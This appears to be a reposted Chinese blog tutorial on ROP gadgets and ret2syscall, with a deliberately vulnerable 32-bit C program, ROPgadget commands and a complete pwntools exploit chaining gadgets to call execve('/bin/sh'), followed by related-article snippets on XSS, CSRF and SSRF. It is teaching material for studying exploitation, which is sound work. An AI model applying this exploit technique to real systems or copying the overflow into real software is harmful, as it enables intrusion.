ropgadgets与ret2syscall技术原理

程序:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}

很容易看出func存在溢出

liunx上面的系统调用原理

eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0x80

我们利用上面的溢出和根据ropgadgets与ret2syscall技术原理去执行execve("/bin/sh",null,null); ,
所以eax就存放execve函数的系统调用号11,ebx存放第一个参数/bin/sh,ecx存放第二个参数null,就是0,edx存放第三个

eax=11 0xb
ebx="/bin/sh"的地址
ecx=0
edx=0

编译

gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
gdb 7.exe
start

static:静态编译,这样有指令流序列
在这里插入图片描述

找到溢出点:
在这里插入图片描述
在这里插入图片描述
在44溢出

利用ropgadget找指令地址

利用溢出把函数execve需要的参数压入栈中,压入栈中之后,这个时候我们就需要找指令地址,利用ret、push、pop这些指令把值赋值到相应的寄存器中

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"

找指令流中包含pop和ret的,还必须有eax,我们用:0x080aaa06
在这里插入图片描述

ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

地址:0x0806f711
在这里插入图片描述

ROPgadget --binary ./7.exe --string "/bin/sh"

/bin/sh地址:0x080ae008
在这里插入图片描述

ROPgadget --binary ./7.exe --only "int"|grep "0x80"

int 0x80地址:0x0804a3d2
在这里插入图片描述

poc和解释

from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()

解释一下:
溢出44,所以我们用44个0x90填充,add_eax是pop eax ; ret 这段程序的地址, 当执行func函数的ret语句时会,eip为这个地
执行pop eax ; ret 这两条语句,pop eax,此时栈顶值只要时调用execve函数调用号,我们就成功把调用号复制给eax,eax
所以后面加了value_eax 。
执行完pop eax ,栈顶的值是add_edx_ecx_ebx ,也就是下面程序的地址

pop edx ;
pop ecx ;
pop ebx ;
ret

执行ret,我们到这段程序执行,此时栈顶的值是value_edx ,执行pop edx ; ,value_edx到edx中了,后面指令依次类推,执
栈顶的值是: add_int ,也就是int 0x80 的首地址,执行完ret,我们到这里执行,成功调用execve函数

执行poc,成功:
在这里插入图片描述

总结

这个思想大致是在一个程序中,找出我们需要的语句,然后利用溢出,构造数据,把数据打入栈中·,然后利用pop、push、ret语句,将这些数据传入到相应的寄存器,然后让程序去执行这些语句,相当于我们在
一些语句,让程序不按照原来的步骤执行,去执行我们找出来的语句。
这里面关键的技术是保证堆栈平衡,把参数放到指令流需要的地方。这是ropgadgets技术的精髓

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/379980.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PHP中单引号和双引号的区别

0x01 单引号 单引号里面的内容不会被解释&#xff0c;不管什么内容&#xff0c;都当做字符串处理 <?php$abc1234; $stradc$abc; echo $str;输出 0x02 双引号 双引号里面的内容会被解释&#xff0c;像一些换行&#xff08;\n)、数据元素等都会被解释 <?php$abc1234;…

关闭页面时执行“退出”的解决方案

在有些应用中我们需要实时的更新站点用户是否在线的状态。比如一些论坛里的在线成员实时显示&#xff0c;或基于网页的聊天、会议系统等。这种情况下&#xff0c;如果用户点击“退出”按钮或链接&#xff0c;我们将之行一系列后台操作&#xff0c;将该用户标识成off line状态&a…

python网络编程---TCP客户端

0x01 环境 python2、 pycharm 0x02 程序 # -*- coding:UTF-8 -*- import sockettarget_hostwww.baidu.com tarfet_port80target_hostlocalhost target_port3345 dataABCDEF# 创建一个socket对象 client socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 连接客户端 clien…

python网络编程---TCP服务器

0x01 环境 python2 pycharm 0x02 程序 客户端程序&#xff1a; # -*- coding:UTF-8 -*- import sockettarget_hostwww.baidu.com target_port80target_hostlocalhost target_port3345 dataABCDEF# 创建一个socket对象 client socket.socket(socket.AF_INET,socket.SOCK_STRE…

sys.argv和getopt

0x01 sys.argv sys.argv用来读取命令行参数&#xff0c;保存程序的文件名和命令参数&#xff0c;读入的参数以列表保存 import sysprint sys.argv print type(sys.argv)可以看到&#xff0c;sys.argv把空格当成分隔符&#xff0c;空格两边的值当做sys.argv的一个元素&#xf…

[导入]《大话设计模式》重印公告

摘要: 《大话设计模式》12月中旬上市&#xff0c;至2008年1月底仅仅一个多月&#xff0c;5000册即销售一空&#xff0c;清华大学出版社已经开始重印&#xff0c;也就是说很快可以在二月底或三月初看到新印刷修正过大部分错误的《大话设计模式》。 阅读全文[新闻]《人民日报市场…

hdu1053 Entropy hdu2527 Safe Or Unsafe

裸裸的哈弗曼编码&#xff0c;求出哈弗曼编码的路径长度&#xff0c;注意整个字符串为一种字符的情况 View Code #include<iostream>#include<queue>#include<algorithm>#include<vector>using namespace std;struct node{int u,w; node(int a0,in…

sys.stdin.read和raw_input函数

sys.stdin.read函数 例子&#xff1a; import sysreadsys.stdin.read() for i in range(len(read)):print i,read[i],-1运行&#xff0c;当执行到readsys.stdin.read()会阻塞&#xff0c;等待我们输入 我们输入&#xff1a; h e当输入&#xff0c;ctrlD结束输入&#xff0c…

利用带关联子查询Update语句更新数据

Update是T-sql中再简单不过的语句了&#xff0c;update table set columnexpression [where condition]&#xff0c;我们都会用到。但update的用法不仅于此&#xff0c;真正在开发的时候&#xff0c;灵活恰当地使用update可以达到事半功倍的效果。 假定有表Table1&#xff08;…

web安全----XSS漏洞之基本原理

0x01 概述 XSS为跨站脚本攻击&#xff0c;XSS攻击针对的是用户层面的攻击&#xff01;类型有反射型XSS、存储型XSS、DOM型XSS&#xff0c;这里的DOM可以理解为页面&#xff0c;或者是所有的标签、内容之和 0x02 反射型XSS 反射型XSS攻击流程为&#xff1a; 即&#xff1a; …

web安全----xss工具使用3

XSSer 0x01 安装 环境&#xff1a;kali、python3&#xff08;必须是python3&#xff0c;kali默认为python2&#xff09; 安装步骤&#xff1a; git clone https://github.com/epsylon/xsser.git cd xsser sudo python3 setup.py install 使用命令&#xff1a; xsser -h查看…

web安全---XSS利用平台BLUE-LOTUS安装与使用

0x01 安装 环境&#xff1a;windows、phpstudy 下载地址&#xff1a;https://gitee.com/gid1314/BlueLotus_XSSReceiver-master 下载后将文件解压&#xff0c;重命名为blue&#xff0c;放在www目录下 访问&#xff1a;http://IP/blue 点击安装 这里只需要修改后台登陆密码和…

使用delphi 开发多层应用(十)安全访问服务器

前面讲了如何建立和访问服务器,但是前面建的服务器都没有安全控制&#xff0c;这里有很大的安全问题,第一是任何人做一个客户端都可以都可以访问 服务器。第二是数据在网络传输过程中都是明码的&#xff0c;没有加密&#xff0c;使用网络侦听器就可以检测到传输的内容。这是一个…

web安全---浏览器解析提交数据的过程

解码规则 html解析器对html文档进行解析&#xff0c;完成解析并创建DOM树JavaScript或者CSS解析器对内联脚本进行解析&#xff0c;完成js、css解码url解码会根据url所在的顺序不同而在JS解码或者解码后 解码顺序 html解析第一步执行&#xff0c;而JS解析和URL解析则要根据情…

利用POI创建OpenOffice中的Excel文件

之所以称为OpenOffice的Excel文件,我发现了一个特点就是: 一些网站严格限定了文件必须为MS的Excel格式的话,用POI的HSSF创建的Excel就会不识别.不知道是什么原因,可能是版本的问题,据说HSSF(令人讨厌的电子表格格式)生成的是MS97的格式.但是97-2003的提示中明显的说明了MS的lib…

web安全-----CSRF漏洞

简述 CSRF&#xff1a;Cross-site request -forgery&#xff0c;跨站请求伪造&#xff0c;是一种web攻击方式&#xff0c;是由于网站的cookie在浏览器中不会过期&#xff0c;只要不关闭浏览器或者退出登录&#xff0c;那以后只要访问这个网站&#xff0c;都会默认你已经登录。…

依赖、关联、聚合、组合还有泛化的关系(转载)

依赖、关联、聚合、组合还有泛化的关系 此文为转载文章:http://zjzkiss.cnblogs.com/世界是普遍联系的&#xff0c;因此程序世界中的类&#xff0c;也不可能是孤立的。UML为我们定义了它们之间的关系&#xff0c;就是&#xff1a;依赖、关联、聚合、组合还有泛化。 泛化关系比…

web安全---SSRF漏洞

简介 SSRF&#xff1a;服务器请求伪造&#xff0c;是一种攻击者构造形成由服务端发起请求 的一个安全漏洞。一般情况下&#xff0c;SSRF攻击的目标是从外网无法访问的内部系统&#xff08;正是因为它是由服务端发起的&#xff0c;所以它能够请求到与它相连而与外网隔离的内部系…

OD使用

0x01 功能界面 序号1是汇编代码对应的地址窗口序号2是汇编对应的十六进制机器码窗口序号3是反汇编窗口序号4是反汇编代码对应的注释信息窗口序号5是寄存器信息窗口序号6是当前执行到的反汇编代码的信息窗口序号7是数据所在的地址序号8是数据的十六进制编码信息&#xff0c;序号…

Java——集合的概述

* A&#xff1a;集合的由来* 数组是容器&#xff0c;集合也是容器* 数组的弊端&#xff1a;数组的长度是固定的&#xff0c;当添加的元素超过了数组的长度时&#xff0c;需要对数组重新定义&#xff0c;太麻烦* Java内部给我们提供了集合类&#xff0c;可以存储任意对象&#x…